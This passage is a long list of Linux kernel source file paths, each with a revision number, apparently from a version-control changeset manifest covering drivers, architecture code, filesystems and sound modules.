linux/include/net/irda/irlan_common.h - 1.10 linux/include/net/irda/irda_device.h - 1.18 linux/include/net/dst.h - 1.17 linux/include/net/ax25.h - 1.12 linux/include/linux/timer.h - 1.21 linux/include/linux/sysctl.h - 1.76 linux/include/linux/sunrpc/xprt.h - 1.20 linux/include/linux/sunrpc/svc.h - 1.18 linux/include/linux/smp.h - 1.29 linux/include/linux/sched.h - 1.110 linux/include/linux/reboot.h - 1.7 linux/include/linux/prctl.h - 1.10 linux/include/linux/ppp-comp.h - 1.6 linux/include/linux/pkt_sched.h - 1.7 linux/include/linux/pci.h - 1.82 linux/include/linux/pagemap.h - 1.56 linux/include/linux/netdevice.h - 1.53 linux/include/linux/mm.h - 1.122 linux/include/linux/mca.h - 1.6 linux/include/linux/lockd/lockd.h - 1.10 linux/include/linux/kernel_stat.h - 1.17 linux/include/linux/ipv6.h - 1.11 linux/include/linux/hdreg.h - 1.31 linux/include/linux/fs.h - 1.222 linux/include/linux/blkdev.h - 1.90 linux/include/asm-sparc64/unistd.h - 1.32 linux/include/asm-sparc64/ttable.h - 1.12 linux/include/asm-sparc64/timer.h - 1.8 linux/include/asm-sparc64/smp.h - 1.21 linux/include/asm-sparc64/processor.h - 1.32 linux/include/asm-sparc64/oplib.h - 1.10 linux/include/asm-sparc64/mmu_context.h - 1.21 linux/include/asm-sparc64/irq.h - 1.21 linux/include/asm-sparc64/delay.h - 1.11 linux/include/asm-sparc64/bitops.h - 1.18 linux/include/asm-sparc/unistd.h - 1.30 linux/include/asm-sparc/smp.h - 1.14 linux/include/asm-ppc/smp.h - 1.20 linux/include/asm-mips/smp.h - 1.6 linux/include/asm-i386/unistd.h - 1.40 linux/include/asm-i386/smp.h - 1.31 linux/include/asm-i386/processor.h - 1.56 linux/include/asm-i386/mmu_context.h - 1.28 linux/include/asm-i386/bitops.h - 1.20 linux/include/asm-i386/atomic.h - 1.13 linux/include/asm-arm/system.h - 1.28 linux/include/asm-arm/proc-armv/system.h - 1.20 linux/include/asm-arm/proc-armv/pgtable.h - 1.22 linux/include/asm-arm/mmu_context.h - 1.16 linux/include/asm-alpha/smp.h - 1.23 linux/fs/smbfs/file.c - 1.36 linux/fs/proc/array.c - 1.60 linux/fs/pipe.c - 1.40 linux/fs/open.c - 1.54 linux/fs/nls/Makefile - 1.13 linux/fs/nfsd/nfsxdr.c - 1.24 linux/fs/nfsd/nfs3xdr.c - 1.41 linux/fs/nfs/write.c - 1.53 linux/fs/nfs/nfsroot.c - 1.19 linux/fs/nfs/nfs2xdr.c - 1.25 linux/fs/nfs/inode.c - 1.70 linux/fs/nfs/dir.c - 1.54 linux/fs/namei.c - 1.76 linux/fs/minix/bitmap.c - 1.18 linux/fs/lockd/svc.c - 1.30 linux/fs/inode.c - 1.102 linux/fs/exec.c - 1.88 linux/fs/buffer.c - 1.162 linux/fs/block_dev.c - 1.80 linux/fs/binfmt_elf.c - 1.62 linux/fs/Makefile - 1.79 linux/drivers/scsi/ultrastor.c - 1.23 linux/drivers/scsi/sym53c8xx.c - 1.49 linux/drivers/scsi/st.h - 1.21 linux/drivers/scsi/st.c - 1.71 linux/drivers/scsi/sr.c - 1.72 linux/drivers/scsi/sg.c - 1.57 linux/drivers/scsi/sd.c - 1.92 linux/drivers/scsi/scsi_syms.c - 1.37 linux/drivers/scsi/scsi_proc.c - 1.22 linux/drivers/scsi/scsi_module.c - 1.8 linux/drivers/scsi/scsi_ioctl.c - 1.34 linux/drivers/scsi/scsi_error.c - 1.47 linux/drivers/scsi/scsi_debug.c - 1.38 linux/drivers/scsi/scsi.c - 1.81 linux/drivers/scsi/qlogicpti.c - 1.29 linux/drivers/scsi/qlogicfc.c - 1.42 linux/drivers/scsi/ppa.c - 1.29 linux/drivers/scsi/megaraid.c - 1.51 linux/drivers/scsi/mac_NCR5380.c - 1.12 linux/drivers/scsi/ide-scsi.c - 1.57 linux/drivers/scsi/hosts.c - 1.50 linux/drivers/scsi/gdth.c - 1.34 linux/drivers/scsi/g_NCR5380.c - 1.27 linux/drivers/scsi/esp.c - 1.39 linux/drivers/scsi/eata_pio.c - 1.25 linux/drivers/scsi/atp870u.c - 1.31 linux/drivers/scsi/atari_NCR5380.c - 1.13 linux/drivers/scsi/aha1740.c - 1.22 linux/drivers/scsi/aha152x.c - 1.45 linux/drivers/scsi/NCR53c406a.c - 1.23 linux/drivers/scsi/NCR5380.h - 1.9 linux/drivers/scsi/NCR5380.c - 1.22 linux/drivers/pci/quirks.c - 1.42 linux/drivers/net/znet.c - 1.18 linux/drivers/net/yellowfin.c - 1.38 linux/drivers/net/via-rhine.c - 1.48 linux/drivers/net/tlan.c - 1.37 linux/drivers/net/sunqe.c - 1.28 linux/drivers/net/sunlance.c - 1.33 linux/drivers/net/sunhme.c - 1.49 linux/drivers/net/sunbmac.c - 1.27 linux/drivers/net/smc-mca.c - 1.18 linux/drivers/net/slip.c - 1.28 linux/drivers/net/sk_g16.c - 1.20 linux/drivers/net/shaper.c - 1.27 linux/drivers/net/sgiseeq.c - 1.23 linux/drivers/net/seeq8005.c - 1.21 linux/drivers/net/rrunner.c - 1.30 linux/drivers/net/rcpci45.c - 1.31 linux/drivers/net/plip.c - 1.30 linux/drivers/net/pcnet32.c - 1.47 linux/drivers/net/ne2k-pci.c - 1.30 linux/drivers/net/myri_sbus.c - 1.22 linux/drivers/net/mace.c - 1.22 linux/drivers/net/loopback.c - 1.12 linux/drivers/net/irda/irtty.c - 1.33 linux/drivers/net/irda/Makefile - 1.27 linux/drivers/net/hydra.c - 1.18 linux/drivers/net/hplance.c - 1.14 linux/drivers/net/hp100.c - 1.31 linux/drivers/net/hamradio/scc.c - 1.33 linux/drivers/net/hamradio/bpqether.c - 1.23 linux/drivers/net/ewrk3.c - 1.29 linux/drivers/net/eql.c - 1.18 linux/drivers/net/epic100.c - 1.38 linux/drivers/net/eexpress.c - 1.25 linux/drivers/net/eepro100.c - 1.63 linux/drivers/net/dummy.c - 1.12 linux/drivers/net/dgrs.c - 1.28 linux/drivers/net/defxx.c - 1.28 linux/drivers/net/bmac.c - 1.26 linux/drivers/net/atp.c - 1.25 linux/drivers/net/ariadne.c - 1.21 linux/drivers/net/acenic.c - 1.50 linux/drivers/net/a2065.c - 1.23 linux/drivers/net/Makefile - 1.76 linux/drivers/net/3c59x.c - 1.51 linux/drivers/net/3c515.c - 1.30 linux/drivers/net/3c509.c - 1.48 linux/drivers/net/3c505.c - 1.36 linux/drivers/macintosh/Makefile - 1.19 linux/drivers/char/specialix_io8.h - 1.5 linux/drivers/char/specialix.c - 1.22 linux/drivers/char/rtc.c - 1.43 linux/drivers/char/riscom8.h - 1.5 linux/drivers/char/riscom8.c - 1.22 linux/drivers/char/random.c - 1.42 linux/drivers/char/pcxx.h - 1.6 linux/drivers/char/pcxx.c - 1.22 linux/drivers/char/keyboard.c - 1.38 linux/drivers/char/isicom.c - 1.28 linux/drivers/char/esp.c - 1.24 linux/drivers/block/paride/pd.c - 1.47 linux/drivers/block/nbd.c - 1.61 linux/drivers/block/loop.c - 1.89 linux/drivers/block/ll_rw_blk.c - 1.140 linux/drivers/block/floppy.c - 1.71 linux/drivers/block/Makefile - 1.38 linux/drivers/Makefile - 1.47 linux/arch/sparc64/solaris/systbl.S - 1.6 linux/arch/sparc64/solaris/misc.c - 1.30 linux/arch/sparc64/solaris/entry64.S - 1.8 linux/arch/sparc64/mm/init.c - 1.59 linux/arch/sparc64/kernel/traps.c - 1.32 linux/arch/sparc64/kernel/trampoline.S - 1.18 linux/arch/sparc64/kernel/time.c - 1.38 linux/arch/sparc64/kernel/systbls.S - 1.47 linux/arch/sparc64/kernel/sys_sparc32.c - 1.78 linux/arch/sparc64/kernel/sparc64_ksyms.c - 1.62 linux/arch/sparc64/kernel/smp.c - 1.59 linux/arch/sparc64/kernel/setup.c - 1.42 linux/arch/sparc64/kernel/process.c - 1.49 linux/arch/sparc64/kernel/irq.c - 1.37 linux/arch/sparc64/kernel/ioctl32.c - 1.75 linux/arch/sparc64/kernel/head.S - 1.25 linux/arch/sparc64/kernel/entry.S - 1.33 linux/arch/sparc64/kernel/ebus.c - 1.22 linux/arch/sparc64/kernel/devices.c - 1.16 linux/arch/sparc64/kernel/cpu.c - 1.12 linux/arch/sparc64/kernel/Makefile - 1.35 linux/arch/sparc64/defconfig - 1.100 linux/arch/sparc64/Makefile - 1.31 linux/arch/sparc/kernel/systbls.S - 1.32 linux/arch/sparc/kernel/process.c - 1.40 linux/arch/sparc/kernel/entry.S - 1.20 linux/arch/sparc/kernel/Makefile - 1.25 linux/arch/sparc/Makefile - 1.30 linux/arch/ppc/kernel/smp.c - 1.51 linux/arch/ppc/kernel/setup.c - 1.61 linux/arch/ppc/kernel/irq.c - 1.48 linux/arch/ppc/kernel/Makefile - 1.42 linux/arch/mips/kernel/proc.c - 1.8 linux/arch/mips/kernel/irq.c - 1.20 linux/arch/mips/kernel/Makefile - 1.18 linux/arch/m68k/kernel/Makefile - 1.17 linux/arch/i386/math-emu/fpu_trig.c - 1.6 linux/arch/i386/lib/usercopy.c - 1.13 linux/arch/i386/kernel/traps.c - 1.82 linux/arch/i386/kernel/smp.c - 1.60 linux/arch/i386/kernel/setup.c - 1.97 linux/arch/i386/kernel/process.c - 1.74 linux/arch/i386/kernel/mca.c - 1.18 linux/arch/i386/kernel/ldt.c - 1.19 linux/arch/i386/kernel/irq.c - 1.61 linux/arch/i386/kernel/ioport.c - 1.11 linux/arch/i386/kernel/io_apic.c - 1.68 linux/arch/i386/kernel/head.S - 1.34 linux/arch/i386/kernel/entry.S - 1.85 linux/arch/i386/kernel/apm.c - 1.64 linux/arch/i386/kernel/Makefile - 1.53 linux/arch/i386/defconfig - 1.120 linux/arch/i386/Makefile - 1.56 linux/arch/arm/mm/mm-armv.c - 1.35 linux/arch/arm/kernel/traps.c - 1.38 linux/arch/arm/kernel/ecard.c - 1.31 linux/arch/arm/kernel/Makefile - 1.28 linux/arch/arm/Makefile - 1.48 linux/arch/alpha/lib/stxncpy.S - 1.9 linux/arch/alpha/kernel/sys_sio.c - 1.19 linux/arch/alpha/kernel/sys_noritake.c - 1.13 linux/arch/alpha/kernel/sys_miata.c - 1.16 linux/arch/alpha/kernel/sys_dp264.c - 1.22 linux/arch/alpha/kernel/sys_alcor.c - 1.15 linux/arch/alpha/kernel/smp.c - 1.47 linux/arch/alpha/kernel/setup.c - 1.39 linux/arch/alpha/kernel/proto.h - 1.25 linux/arch/alpha/kernel/process.c - 1.37 linux/arch/alpha/kernel/core_tsunami.c - 1.26 linux/arch/alpha/kernel/core_t2.c - 1.16 linux/arch/alpha/kernel/core_mcpcia.c - 1.22 linux/arch/alpha/kernel/core_lca.c - 1.15 linux/arch/alpha/kernel/core_cia.c - 1.29 linux/arch/alpha/kernel/Makefile - 1.35 linux/Makefile - 1.257 linux/MAINTAINERS - 1.148 linux/Documentation/binfmt_misc.txt - 1.4 linux/Documentation/00-INDEX - 1.18 linux/CREDITS - 1.106 linux/include/linux/ide.h - 1.84 linux/arch/i386/vmlinux.lds.S - 1.23 linux/Documentation/kernel-parameters.txt - 1.29 linux/drivers/net/declance.c - 1.23 linux/kernel/ptrace.c - 1.34 linux/drivers/net/ppp_generic.c - 1.42 linux/drivers/net/mvme147.c - 1.11 linux/drivers/net/hamradio/yam.c - 1.26 linux/drivers/pci/names.c - 1.14 linux/include/linux/irq.h - 1.14 linux/include/asm-i386/hw_irq.h - 1.36 linux/fs/partitions/check.c - 1.73 linux/fs/partitions/acorn.c - 1.19 linux/drivers/net/sis900.c - 1.49 linux/drivers/net/sb1000.c - 1.25 linux/drivers/net/fc/iph5526.c - 1.30 linux/drivers/atm/zatm.c - 1.21 linux/drivers/atm/horizon.c - 1.19 linux/drivers/atm/eni.c - 1.24 linux/drivers/atm/ambassador.c - 1.24 linux/net/atm/lec.c - 1.26 linux/net/atm/common.c - 1.28 linux/net/atm/clip.c - 1.22 linux/include/linux/atmdev.h - 1.20 linux/arch/alpha/kernel/pci_impl.h - 1.14 linux/arch/alpha/kernel/pci.c - 1.36 linux/drivers/block/DAC960.h - 1.26 linux/drivers/block/DAC960.c - 1.73 linux/arch/sparc64/kernel/pci_sabre.c - 1.35 linux/arch/sparc64/kernel/pci_common.c - 1.24 linux/arch/sparc64/kernel/pci.c - 1.39 linux/arch/sh/vmlinux.lds.S - 1.20 linux/arch/sh/kernel/Makefile - 1.22 linux/drivers/scsi/ips.h - 1.26 linux/drivers/scsi/ips.c - 1.46 linux/net/irda/ircomm/ircomm_tty.c - 1.31 linux/drivers/pcmcia/tcic.c - 1.31 linux/drivers/pcmcia/i82365.c - 1.46 linux/drivers/pcmcia/ds.c - 1.31 linux/include/pcmcia/ds.h - 1.10 linux/drivers/net/starfire.c - 1.34 linux/drivers/net/pcmcia/pcnet_cs.c - 1.28 linux/drivers/net/pcmcia/3c589_cs.c - 1.31 linux/drivers/char/drm/gamma_dma.c - 1.17 linux/include/linux/acpi.h - 1.39 linux/drivers/net/wan/cosa.c - 1.34 linux/drivers/net/tokenring/olympic.c - 1.29 linux/drivers/net/tokenring/ibmtr.c - 1.26 linux/arch/i386/kernel/smpboot.c - 1.65 linux/Documentation/nmi_watchdog.txt - 1.7 linux/include/linux/pci_ids.h - 1.98 linux/drivers/net/wan/z85230.c - 1.16 linux/drivers/net/wan/x25_asy.c - 1.13 linux/drivers/net/wan/sbni.c - 1.24 linux/drivers/net/wan/lapbether.c - 1.15 linux/drivers/net/wan/dlci.c - 1.13 linux/drivers/scsi/sim710.c - 1.18 linux/drivers/net/pcmcia/xirc2ps_cs.c - 1.28 linux/drivers/net/pcmcia/3c574_cs.c - 1.30 linux/drivers/net/pcmcia/nmclan_cs.c - 1.23 linux/drivers/net/pcmcia/fmvj18x_cs.c - 1.27 linux/drivers/net/pcmcia/smc91c92_cs.c - 1.25 linux/include/asm-i386/highmem.h - 1.17 linux/fs/proc/proc_misc.c - 1.67 linux/drivers/net/sk98lin/skge.c - 1.29 linux/drivers/char/agp/Makefile - 1.17 linux/kernel/timer.c - 1.52 linux/drivers/scsi/scsi_lib.c - 1.70 linux/drivers/char/agp/agp.h - 1.38 linux/include/linux/i2c-id.h - 1.19 linux/drivers/i2c/i2c-dev.c - 1.32 linux/drivers/i2c/i2c-core.c - 1.30 linux/include/asm-sparc64/pgalloc.h - 1.24 linux/fs/cramfs/inode.c - 1.40 linux/drivers/net/pcmcia/com20020_cs.c - 1.13 linux/drivers/net/arcnet/com90xx.c - 1.12 linux/drivers/net/arcnet/com90io.c - 1.13 linux/drivers/net/arcnet/com20020.c - 1.8 linux/drivers/net/arcnet/com20020-pci.c - 1.19 linux/drivers/net/arcnet/arc-rimi.c - 1.10 linux/drivers/net/tokenring/smctr.c - 1.22 linux/drivers/net/oaknet.c - 1.9 linux/drivers/ieee1394/pcilynx.c - 1.33 linux/arch/i386/kernel/apic.c - 1.48 linux/arch/i386/kernel/mpparse.c - 1.41 linux/drivers/ieee1394/csr.c - 1.15 linux/include/asm-i386/mpspec.h - 1.18 linux/include/asm-i386/io_apic.h - 1.13 linux/drivers/pci/setup-res.c - 1.19 linux/drivers/scsi/scsi_scan.c - 1.54 linux/drivers/scsi/3w-xxxx.c - 1.34 linux/drivers/net/tokenring/tmspci.c - 1.13 linux/drivers/net/tokenring/madgemc.c - 1.13 linux/drivers/net/tokenring/abyss.c - 1.12 linux/Documentation/DMA-mapping.txt - 1.21 linux/include/linux/pm.h - 1.10 linux/drivers/atm/iphase.c - 1.24 linux/arch/ia64/kernel/fw-emu.c - 1.13 linux/arch/ia64/kernel/entry.S - 1.41 linux/arch/ia64/kernel/Makefile - 1.23 linux/arch/ia64/ia32/sys_ia32.c - 1.49 linux/arch/ia64/ia32/ia32_support.c - 1.11 linux/arch/ia64/ia32/ia32_signal.c - 1.16 linux/arch/ia64/vmlinux.lds.S - 1.29 linux/arch/ia64/boot/bootloader.lds - 1.3 linux/arch/ia64/boot/bootloader.c - 1.8 linux/arch/ia64/boot/Makefile - 1.12 linux/arch/ia64/Makefile - 1.32 linux/arch/ia64/kernel/init_task.c - 1.11 linux/arch/ia64/kernel/irq.c - 1.32 linux/arch/ia64/kernel/setup.c - 1.30 linux/arch/ia64/kernel/signal.c - 1.27 linux/arch/ia64/kernel/smp.c - 1.26 linux/arch/ia64/kernel/time.c - 1.27 linux/arch/ia64/kernel/traps.c - 1.24 linux/arch/ia64/kernel/unaligned.c - 1.16 linux/arch/ia64/kernel/process.c - 1.30 linux/arch/ia64/kernel/perfmon.c - 1.29 linux/arch/ia64/mm/tlb.c - 1.18 linux/arch/ia64/kernel/mca.c - 1.24 linux/drivers/scsi/qla1280.h - 1.14 linux/drivers/scsi/qla1280.c - 1.30 linux/kernel/pm.c - 1.15 linux/include/asm-ia64/io.h - 1.16 linux/include/asm-ia64/delay.h - 1.7 linux/include/asm-ia64/current.h - 1.4 linux/include/asm-ia64/byteorder.h - 1.3 linux/include/asm-ia64/bitops.h - 1.15 linux/include/asm-ia64/atomic.h - 1.11 linux/include/asm-ia64/siginfo.h - 1.19 linux/include/asm-ia64/smp.h - 1.16 linux/include/asm-ia64/sal.h - 1.18 linux/include/asm-ia64/processor.h - 1.37 linux/include/asm-ia64/machvec.h - 1.16 linux/include/asm-ia64/pal.h - 1.12 linux/include/asm-ia64/page.h - 1.24 linux/include/asm-ia64/mmu_context.h - 1.16 linux/include/asm-ia64/spinlock.h - 1.17 linux/include/asm-ia64/unistd.h - 1.33 linux/include/asm-ia64/timex.h - 1.7 linux/include/asm-ia64/system.h - 1.29 linux/drivers/scsi/sun3_NCR5380.c - 1.14 linux/drivers/net/8139too.c - 1.56 linux/arch/i386/kernel/microcode.c - 1.27 linux/drivers/scsi/pcmcia/qlogic_stub.c - 1.17 linux/drivers/scsi/pcmcia/fdomain_stub.c - 1.18 linux/drivers/isdn/hysdn/hysdn_net.c - 1.12 linux/fs/devfs/base.c - 1.63 linux/drivers/scsi/pcmcia/aha152x_stub.c - 1.18 linux/drivers/net/skfp/skfddi.c - 1.19 linux/net/bridge/br_device.c - 1.12 linux/net/bridge/br_stp_bpdu.c - 1.7 linux/Documentation/networking/8139too.txt - 1.21 linux/drivers/video/matrox/matroxfb_maven.c - 1.9 linux/drivers/video/matrox/i2c-matroxfb.c - 1.11 linux/drivers/net/tulip/tulip_core.c - 1.50 linux/drivers/net/ioc3-eth.c - 1.26 linux/arch/alpha/kernel/irq_alpha.c - 1.14 linux/include/linux/usb.h - 1.65 linux/drivers/usb/serial/usb-serial.h - 1.34 linux/drivers/usb/serial/usb-serial.c - 1.22 linux/arch/ia64/kernel/irq_ia64.c - 1.17 linux/drivers/ide/ide.c - 1.91 linux/drivers/ide/ide-tape.c - 1.47 linux/drivers/ide/ide-probe.c - 1.59 linux/drivers/ide/ide-dma.c - 1.42 linux/drivers/ide/ide-disk.c - 1.65 linux/drivers/ide/ide-cd.c - 1.69 linux/drivers/block/elevator.c - 1.34 linux/drivers/net/wan/comx.c - 1.22 linux/drivers/net/wan/comx-proto-lapb.c - 1.10 linux/drivers/net/wan/comx-proto-fr.c - 1.14 linux/drivers/net/wan/comx-hw-mixcom.c - 1.14 linux/drivers/net/wan/comx-hw-locomx.c - 1.10 linux/drivers/net/tokenring/lanstreamer.c - 1.19 linux/Documentation/DocBook/kernel-api.tmpl - 1.30 linux/net/ipv4/netfilter/ipt_MASQUERADE.c - 1.12 linux/drivers/net/pcmcia/ibmtr_cs.c - 1.18 linux/drivers/usb/serial/keyspan_pda.c - 1.37 linux/drivers/usb/serial/ftdi_sio.c - 1.52 linux/drivers/usb/serial/whiteheat.c - 1.41 linux/drivers/usb/serial/visor.c - 1.56 linux/arch/ia64/kernel/smpboot.c - 1.23 linux/arch/ia64/ia32/ia32_traps.c - 1.9 linux/drivers/usb/serial/omninet.c - 1.35 linux/drivers/net/wan/lmc/lmc_main.c - 1.18 linux/drivers/usb/serial/digi_acceleport.c - 1.38 linux/drivers/char/rio/rio_linux.c - 1.26 linux/include/asm-s390/mmu_context.h - 1.7 linux/arch/s390/kernel/Makefile - 1.16 linux/include/asm-s390/smp.h - 1.10 linux/include/asm-s390/bitops.h - 1.13 linux/arch/s390/kernel/setup.c - 1.17 linux/arch/s390/kernel/smp.c - 1.23 linux/arch/i386/kernel/msr.c - 1.21 linux/arch/i386/kernel/cpuid.c - 1.13 linux/kernel/kallsyms.c - 1.22 linux/Documentation/filesystems/Locking - 1.25 linux/drivers/char/drm/i810_drm.h - 1.7 linux/drivers/char/drm/i810_dma.c - 1.25 linux/drivers/usb/storage/usb.c - 1.43 linux/arch/alpha/kernel/core_titan.c - 1.15 linux/arch/alpha/kernel/core_wildfire.c - 1.7 linux/drivers/usb/serial/keyspan.c - 1.43 linux/drivers/acpi/tables.c - 1.13 linux/fs/jffs/inode-v23.c - 1.38 linux/drivers/acpi/Makefile - 1.26 linux/drivers/net/tun.c - 1.23 linux/include/linux/if_tun.h - 1.5 linux/drivers/usb/storage/sddr09.c - 1.25 linux/drivers/net/natsemi.c - 1.31 linux/drivers/media/video/zr36060.h - 1.3 linux/drivers/media/video/zr36057.h - 1.3 linux/drivers/media/video/tvmixer.c - 1.16 linux/drivers/media/video/saa7185.c - 1.14 linux/drivers/media/video/saa7111.c - 1.14 linux/drivers/media/video/saa7110.c - 1.13 linux/drivers/media/video/planb.c - 1.16 linux/drivers/media/video/bttv-if.c - 1.15 linux/drivers/media/video/bttv-driver.c - 1.32 linux/drivers/media/video/bttv-cards.c - 1.22 linux/drivers/media/video/Makefile - 1.18 linux/drivers/input/input.c - 1.22 linux/drivers/input/evdev.c - 1.20 linux/drivers/md/raid1.c - 1.37 linux/drivers/md/raid5.c - 1.45 linux/drivers/block/cciss.c - 1.61 linux/drivers/md/linear.c - 1.24 linux/drivers/md/raid0.c - 1.21 linux/drivers/net/hamachi.c - 1.26 linux/drivers/net/sundance.c - 1.29 linux/drivers/scsi/cpqfcTSinit.c - 1.33 linux/drivers/scsi/cpqfcTSstructs.h - 1.14 linux/drivers/scsi/cpqfcTSworker.c - 1.17 linux/drivers/usb/serial/belkin_sa.c - 1.33 linux/Documentation/dnotify.txt - 1.4 linux/Documentation/networking/netdevices.txt - 1.4 linux/drivers/media/video/bttvp.h - 1.15 linux/include/linux/ethtool.h - 1.18 linux/arch/alpha/lib/ev6-stxncpy.S - 1.6 linux/drivers/net/lasi_82596.c - 1.19 linux/drivers/usb/serial/mct_u232.c - 1.32 linux/drivers/usb/serial/empeg.c - 1.37 linux/arch/i386/kernel/dmi_scan.c - 1.33 linux/include/asm-parisc/smp.h - 1.5 linux/arch/parisc/kernel/Makefile - 1.13 linux/include/asm-arm/mmu.h - 1.3 linux/mm/shmem.c - 1.65 linux/drivers/atm/firestream.c - 1.18 linux/arch/ia64/kernel/iosapic.c - 1.20 linux/include/asm-ia64/sn/sn_cpuid.h - 1.7 linux/include/asm-ia64/sn/nodepda.h - 1.7 linux/drivers/char/drm/radeon_drm.h - 1.13 linux/fs/reiserfs/ioctl.c - 1.11 linux/fs/reiserfs/inode.c - 1.43 linux/fs/reiserfs/hashes.c - 1.7 linux/fs/reiserfs/file.c - 1.18 linux/include/linux/reiserfs_fs.h - 1.39 linux/drivers/usb/storage/unusual_devs.h - 1.27 linux/arch/cris/Makefile - 1.16 linux/arch/cris/kernel/Makefile - 1.17 linux/drivers/s390/net/netiucv.c - 1.20 linux/drivers/s390/net/ctcmain.c - 1.18 linux/drivers/pcmcia/hd64465_ss.c - 1.13 linux/drivers/net/pci-skeleton.c - 1.19 linux/drivers/usb/serial/io_edgeport.c - 1.38 linux/arch/arm/mach-integrator/Makefile - 1.9 linux/drivers/sbus/char/riowatchdog.c - 1.6 linux/drivers/net/wan/dscc4.c - 1.22 linux/drivers/net/sungem.c - 1.32 linux/drivers/isdn/hisax/sedlbauer_cs.c - 1.9 linux/drivers/net/gt96100eth.c - 1.11 linux/drivers/isdn/hisax/elsa_cs.c - 1.6 linux/include/asm-ia64/perfmon.h - 1.12 linux/arch/ia64/kernel/efivars.c - 1.12 linux/include/linux/compiler.h - 1.12 linux/drivers/net/fealnx.c - 1.22 linux/drivers/net/irda/irda-usb.c - 1.35 linux/drivers/net/wireless/airport.c - 1.14 linux/drivers/net/wireless/orinoco_cs.c - 1.19 linux/drivers/media/video/bt856.c - 1.13 linux/drivers/media/video/bt819.c - 1.11 linux/drivers/media/video/adv7175.c - 1.14 linux/fs/char_dev.c - 1.12 linux/drivers/bluetooth/hci_usb.c - 1.24 linux/drivers/mtd/chips/sharp.c - 1.8 linux/drivers/net/wireless/airo.c - 1.34 linux/drivers/usb/serial/cyberjack.c - 1.26 linux/drivers/usb/serial/pl2303.c - 1.35 linux/arch/mips/kernel/smp.c - 1.14 linux/drivers/scsi/pcmcia/nsp_cs.c - 1.24 linux/drivers/scsi/pcmcia/nsp_cs.h - 1.11 linux/drivers/scsi/pcmcia/nsp_debug.c - 1.8 linux/drivers/scsi/pcmcia/nsp_io.h - 1.7 linux/drivers/media/video/zoran.h - 1.3 linux/Documentation/video4linux/Zoran - 1.3 linux/drivers/media/video/zoran_procfs.c - 1.4 linux/drivers/media/video/zr36067.c - 1.15 linux/drivers/net/au1000_eth.c - 1.13 linux/drivers/net/lp486e.c - 1.13 linux/drivers/net/dl2k.c - 1.24 linux/drivers/message/fusion/mptscsih.c - 1.21 linux/drivers/message/fusion/mptlan.c - 1.12 linux/drivers/message/fusion/mptbase.c - 1.14 linux/drivers/ieee1394/sbp2.c - 1.30 linux/drivers/ieee1394/nodemgr.c - 1.21 linux/fs/partitions/ldm.h - 1.8 linux/drivers/scsi/pcmcia/nsp_message.c - 1.7 linux/drivers/char/drm/radeon.h - 1.11 linux/drivers/char/drm/r128.h - 1.8 linux/drivers/char/drm/i810.h - 1.7 linux/drivers/char/drm/drm_agpsupport.h - 1.16 linux/drivers/net/irda/vlsi_ir.c - 1.19 linux/arch/arm/mach-sa1100/xp860.c - 1.12 linux/arch/arm/mach-sa1100/pfs168.c - 1.13 linux/arch/arm/mach-sa1100/neponset.c - 1.17 linux/arch/arm/mach-sa1100/jornada720.c - 1.12 linux/arch/arm/mach-sa1100/cpu-sa1110.c - 1.15 linux/arch/arm/mach-sa1100/generic.c - 1.16 linux/drivers/telephony/ixj_pcmcia.c - 1.6 linux/drivers/isdn/hisax/st5481_b.c - 1.11 linux/drivers/isdn/hisax/st5481_d.c - 1.10 linux/drivers/isdn/hisax/st5481_usb.c - 1.15 linux/drivers/net/ns83820.c - 1.23 linux/drivers/scsi/53c700.c - 1.22 linux/drivers/scsi/NCR_D700.c - 1.11 linux/drivers/scsi/lasi700.c - 1.12 linux/drivers/parport/parport_cs.c - 1.8 linux/drivers/md/multipath.c - 1.22 linux/include/asm-generic/tlb.h - 1.14 linux/drivers/char/mwave/mwavedd.c - 1.8 linux/drivers/mtd/devices/blkmtd.c - 1.25 linux/drivers/net/wireless/orinoco_plx.c - 1.10 linux/arch/arm/mach-sa1100/graphicsmaster.c - 1.17 linux/arch/arm/mach-sa1100/adsbitsy.c - 1.15 linux/drivers/net/8139cp.c - 1.28 linux/drivers/atm/lanai.c - 1.11 linux/net/8021q/vlanproc.c - 1.11 linux/net/8021q/vlan.c - 1.13 linux/drivers/atm/idt77252.c - 1.15 linux/fs/jbd/journal.c - 1.26 linux/drivers/scsi/sym53c8xx_2/sym_glue.c - 1.19 linux/drivers/scsi/sym53c8xx_2/sym_glue.h - 1.11 linux/drivers/scsi/sym53c8xx_2/sym_hipd.c - 1.9 linux/net/atm/pppoatm.c - 1.9 linux/fs/ext3/inode.c - 1.43 linux/fs/ext3/namei.c - 1.24 linux/fs/jbd/revoke.c - 1.12 linux/fs/ext3/balloc.c - 1.14 linux/drivers/net/pcmcia/axnet_cs.c - 1.12 linux/include/linux/device.h - 1.35 linux/init/do_mounts.c - 1.30 linux/include/linux/gfp.h - 1.13 linux/drivers/usb/serial/ipaq.c - 1.25 linux/drivers/usb/serial/kl5kusb105.c - 1.22 linux/arch/arm/mach-sa1100/system3.c - 1.16 linux/drivers/block/cciss_scsi.c - 1.15 linux/drivers/net/Makefile.lib - 1.9 linux/include/linux/init_task.h - 1.21 linux/drivers/net/wireless/netwave_cs.c - 1.11 linux/drivers/net/wireless/wavelan.c - 1.9 linux/drivers/base/interface.c - 1.15 linux/drivers/base/core.c - 1.28 linux/drivers/base/Makefile - 1.16 linux/drivers/pci/pci-driver.c - 1.18 linux/drivers/input/gameport/ns558.c - 1.9 linux/drivers/input/gameport/lightning.c - 1.4 linux/drivers/input/gameport/emu10k1-gp.c - 1.8 linux/sound/pci/ymfpci/ymfpci_main.c - 1.15 linux/sound/pci/trident/trident_main.c - 1.16 linux/sound/pci/sonicvibes.c - 1.15 linux/sound/pci/intel8x0.c - 1.21 linux/sound/pci/es1968.c - 1.18 linux/sound/pci/es1938.c - 1.15 linux/sound/pci/ens1370.c - 1.22 linux/sound/pci/emu10k1/emufx.c - 1.18 linux/sound/pci/cs46xx/cs46xx_lib.c - 1.20 linux/sound/pci/cs4281.c - 1.19 linux/sound/pci/ac97/ac97_codec.c - 1.19 linux/sound/oss/ymfpci.c - 1.8 linux/sound/oss/wf_midi.c - 1.6 linux/sound/oss/via82cxxx_audio.c - 1.14 linux/sound/oss/trix.c - 1.2 linux/sound/oss/trident.c - 1.18 linux/sound/oss/sys_timer.c - 1.5 linux/sound/oss/sscape.c - 1.4 linux/sound/oss/soundcard.c - 1.12 linux/sound/oss/sonicvibes.c - 1.13 linux/sound/oss/skeleton.c - 1.3 linux/sound/oss/sequencer.c - 1.6 linux/sound/oss/sb_card.c - 1.7 linux/sound/oss/pss.c - 1.7 linux/sound/oss/pas2_pcm.c - 1.5 linux/sound/oss/pas2_mixer.c - 